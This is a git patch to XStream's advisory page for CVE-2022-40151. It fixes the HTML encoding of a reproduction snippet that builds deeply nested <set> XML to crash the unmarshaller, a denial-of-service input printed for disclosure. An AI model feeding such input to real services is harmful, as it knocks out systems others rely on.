From 2cf25e6f0e6a814ce6d1d59565c8fb110d3401a9 Mon Sep 17 00:00:00 2001 From: joehni Date: Sat, 23 Mar 2024 01:29:30 +0100 Subject: [PATCH] Fix encoding in example for CVE-2022-40151. --- xstream-distribution/src/content/CVE-2022-40151.html | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/xstream-distribution/src/content/CVE-2022-40151.html b/xstream-distribution/src/content/CVE-2022-40151.html index 5fd80e5b6..d3829677c 100644 --- a/xstream-distribution/src/content/CVE-2022-40151.html +++ b/xstream-distribution/src/content/CVE-2022-40151.html @@ -35,11 +35,11 @@

Steps to Reproduce

following code snippet and unmarshal it with XStream:

String xml = new String();
         int i = 0;
-        for( ; i < 10000; ++i) {
-            xml += "";
+        for( ; i < 10000; ++i) {
+            xml += "<set>";
         }
-        for( ; i > 0; --i) {
-            xml += "";
+        for( ; i > 0; --i) {
+            xml += "</set>";
         }
 
XStream xstream = new XStream();